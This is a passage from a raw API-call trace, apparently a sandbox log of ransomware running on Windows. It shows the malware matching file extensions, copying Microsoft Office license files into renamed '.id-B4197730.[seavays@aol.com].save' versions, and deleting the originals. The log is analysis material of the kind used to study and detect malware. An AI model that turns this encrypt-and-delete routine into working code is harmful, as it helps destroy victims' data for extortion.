Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0182.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0182.310] lstrlenW (lpString=".doc") returned 4 [0182.310] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0182.310] lstrlenW (lpString=".docx") returned 5 [0182.310] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0182.310] lstrlenW (lpString=".pdf") returned 4 [0182.310] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0182.310] lstrlenW (lpString=".xls") returned 4 [0182.311] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0182.311] lstrlenW (lpString=".xlsx") returned 5 [0182.311] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0182.311] lstrlenW (lpString=".ppt") returned 4 [0182.311] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0182.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0182.311] lstrlenW (lpString=".zip") returned 4 [0182.311] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0182.311] lstrlenW (lpString=".rar") returned 4 [0182.311] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0182.311] lstrlenW (lpString=".bz2") returned 4 [0182.311] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0182.311] lstrlenW (lpString=".7z") returned 3 [0182.311] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0182.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0182.311] lstrlenW (lpString=".dbf") returned 4 [0182.311] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0182.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0182.311] lstrlenW (lpString=".1cd") returned 4 [0182.311] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0182.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0182.311] lstrlenW (lpString=".jpg") returned 4 [0182.312] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0182.312] lstrcmpiW (lpString1=".xrm-ms", lpString2=".save") returned 1 [0182.312] lstrlenW (lpString="ExcelR_Grace-ul-oob.xrm-ms") returned 26 [0182.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0182.313] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=11589) returned 1 [0182.313] CloseHandle (hObject=0x388) returned 1 [0182.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms")) returned 0x220 [0182.314] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0182.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0182.314] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.314] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0182.315] GetLastError () returned 0x0 [0182.315] ReadFile (in: hFile=0x388, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x2d45, lpOverlapped=0x0) returned 1 [0182.317] WriteFile (in: hFile=0x540, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x2d50, lpOverlapped=0x0) returned 1 [0182.318] ReadFile (in: hFile=0x388, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.318] WriteFile (in: hFile=0x540, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x108, lpOverlapped=0x0) returned 1 [0182.318] SetEndOfFile (hFile=0x540) returned 1 [0182.319] CloseHandle (hObject=0x540) returned 1 [0182.319] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.319] SetEndOfFile (hFile=0x388) returned 1 [0182.324] CloseHandle (hObject=0x388) returned 1 [0182.325] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0182.325] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms")) returned 1 [0182.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0182.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0182.326] lstrlenW (lpString=".doc") returned 4 [0182.326] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0182.326] lstrlenW (lpString=".docx") returned 5 [0182.326] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0182.326] lstrlenW (lpString=".pdf") returned 4 [0182.326] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0182.326] lstrlenW (lpString=".xls") returned 4 [0182.327] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0182.327] lstrlenW (lpString=".xlsx") returned 5 [0182.327] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0182.327] lstrlenW (lpString=".ppt") returned 4 [0182.327] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0182.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0182.327] lstrlenW (lpString=".zip") returned 4 [0182.327] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0182.327] lstrlenW (lpString=".rar") returned 4 [0182.327] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0182.327] lstrlenW (lpString=".bz2") returned 4 [0182.327] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0182.327] lstrlenW (lpString=".7z") returned 3 [0182.327] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0182.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0182.327] lstrlenW (lpString=".dbf") returned 4 [0182.327] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0182.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0182.327] lstrlenW (lpString=".1cd") returned 4 [0182.327] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0182.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0182.327] lstrlenW (lpString=".jpg") returned 4 [0182.327] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0182.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0182.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0182.328] lstrlenW (lpString=".doc") returned 4 [0182.328] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0182.328] lstrlenW (lpString=".docx") returned 5 [0182.328] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0182.328] lstrlenW (lpString=".pdf") returned 4 [0182.328] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0182.328] lstrlenW (lpString=".xls") returned 4 [0182.328] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0182.328] lstrlenW (lpString=".xlsx") returned 5 [0182.328] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0182.328] lstrlenW (lpString=".ppt") returned 4 [0182.328] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0182.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0182.328] lstrlenW (lpString=".zip") returned 4 [0182.328] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0182.328] lstrlenW (lpString=".rar") returned 4 [0182.328] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0182.328] lstrlenW (lpString=".bz2") returned 4 [0182.328] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0182.328] lstrlenW (lpString=".7z") returned 3 [0182.328] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0182.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0182.328] lstrlenW (lpString=".dbf") returned 4 [0182.328] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0182.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0182.328] lstrlenW (lpString=".1cd") returned 4 [0182.328] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0182.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0182.329] lstrlenW (lpString=".jpg") returned 4 [0182.329] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0182.329] lstrcmpiW (lpString1=".xrm-ms", lpString2=".save") returned 1 [0182.329] lstrlenW (lpString="ExcelR_OEM_Perp-pl.xrm-ms") returned 25 [0182.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0182.330] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=10635) returned 1 [0182.330] CloseHandle (hObject=0x388) returned 1 [0182.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms")) returned 0x220 [0182.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0182.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0182.331] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.331] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0182.533] GetLastError () returned 0x0 [0182.533] ReadFile (in: hFile=0x388, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x298b, lpOverlapped=0x0) returned 1 [0182.536] WriteFile (in: hFile=0x344, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x2990, lpOverlapped=0x0) returned 1 [0182.538] ReadFile (in: hFile=0x388, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.538] WriteFile (in: hFile=0x344, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x106, lpOverlapped=0x0) returned 1 [0182.538] SetEndOfFile (hFile=0x344) returned 1 [0182.539] CloseHandle (hObject=0x344) returned 1 [0182.539] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.539] SetEndOfFile (hFile=0x388) returned 1 [0182.542] CloseHandle (hObject=0x388) returned 1 [0182.543] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0182.543] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms")) returned 1 [0182.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0182.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0182.544] lstrlenW (lpString=".doc") returned 4 [0182.544] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0182.545] lstrlenW (lpString=".docx") returned 5 [0182.545] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0182.545] lstrlenW (lpString=".pdf") returned 4 [0182.545] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0182.545] lstrlenW (lpString=".xls") returned 4 [0182.545] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0182.545] lstrlenW (lpString=".xlsx") returned 5 [0182.545] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0182.545] lstrlenW (lpString=".ppt") returned 4 [0182.545] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0182.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0182.545] lstrlenW (lpString=".zip") returned 4 [0182.545] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0182.545] lstrlenW (lpString=".rar") returned 4 [0182.545] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0182.545] lstrlenW (lpString=".bz2") returned 4 [0182.545] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0182.545] lstrlenW (lpString=".7z") returned 3 [0182.545] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0182.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0182.545] lstrlenW (lpString=".dbf") returned 4 [0182.545] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0182.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0182.545] lstrlenW (lpString=".1cd") returned 4 [0182.545] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0182.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0182.545] lstrlenW (lpString=".jpg") returned 4 [0182.545] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0182.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0182.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0182.546] lstrlenW (lpString=".doc") returned 4 [0182.546] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0182.546] lstrlenW (lpString=".docx") returned 5 [0182.546] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0182.546] lstrlenW (lpString=".pdf") returned 4 [0182.546] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0182.546] lstrlenW (lpString=".xls") returned 4 [0182.546] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0182.546] lstrlenW (lpString=".xlsx") returned 5 [0182.546] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0182.546] lstrlenW (lpString=".ppt") returned 4 [0182.546] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0182.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0182.546] lstrlenW (lpString=".zip") returned 4 [0182.546] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0182.546] lstrlenW (lpString=".rar") returned 4 [0182.546] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0182.546] lstrlenW (lpString=".bz2") returned 4 [0182.546] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0182.546] lstrlenW (lpString=".7z") returned 3 [0182.546] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0182.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0182.546] lstrlenW (lpString=".dbf") returned 4 [0182.546] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0182.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0182.547] lstrlenW (lpString=".1cd") returned 4 [0182.547] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0182.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0182.547] lstrlenW (lpString=".jpg") returned 4 [0182.547] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0182.547] lstrcmpiW (lpString1=".xrm-ms", lpString2=".save") returned 1 [0182.547] lstrlenW (lpString="ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 29 [0182.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0182.548] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=19927) returned 1 [0182.549] CloseHandle (hObject=0x388) returned 1 [0182.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0182.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0182.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0182.549] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.549] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0182.550] GetLastError () returned 0x0 [0182.550] ReadFile (in: hFile=0x388, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x4dd7, lpOverlapped=0x0) returned 1 [0182.553] WriteFile (in: hFile=0x344, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x4de0, lpOverlapped=0x0) returned 1 [0182.554] ReadFile (in: hFile=0x388, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.554] WriteFile (in: hFile=0x344, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x10e, lpOverlapped=0x0) returned 1 [0182.554] SetEndOfFile (hFile=0x344) returned 1 [0182.554] CloseHandle (hObject=0x344) returned 1 [0182.554] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.554] SetEndOfFile (hFile=0x388) returned 1 [0182.559] CloseHandle (hObject=0x388) returned 1 [0182.559] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0182.559] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms")) returned 1 [0182.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0182.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0182.560] lstrlenW (lpString=".doc") returned 4 [0182.560] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0182.560] lstrlenW (lpString=".docx") returned 5 [0182.560] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0182.560] lstrlenW (lpString=".pdf") returned 4 [0182.560] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0182.560] lstrlenW (lpString=".xls") returned 4 [0182.561] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0182.561] lstrlenW (lpString=".xlsx") returned 5 [0182.561] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0182.561] lstrlenW (lpString=".ppt") returned 4 [0182.561] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0182.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0182.561] lstrlenW (lpString=".zip") returned 4 [0182.561] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0182.561] lstrlenW (lpString=".rar") returned 4 [0182.561] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0182.561] lstrlenW (lpString=".bz2") returned 4 [0182.561] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0182.561] lstrlenW (lpString=".7z") returned 3 [0182.561] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0182.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0182.561] lstrlenW (lpString=".dbf") returned 4 [0182.561] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0182.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0182.561] lstrlenW (lpString=".1cd") returned 4 [0182.561] 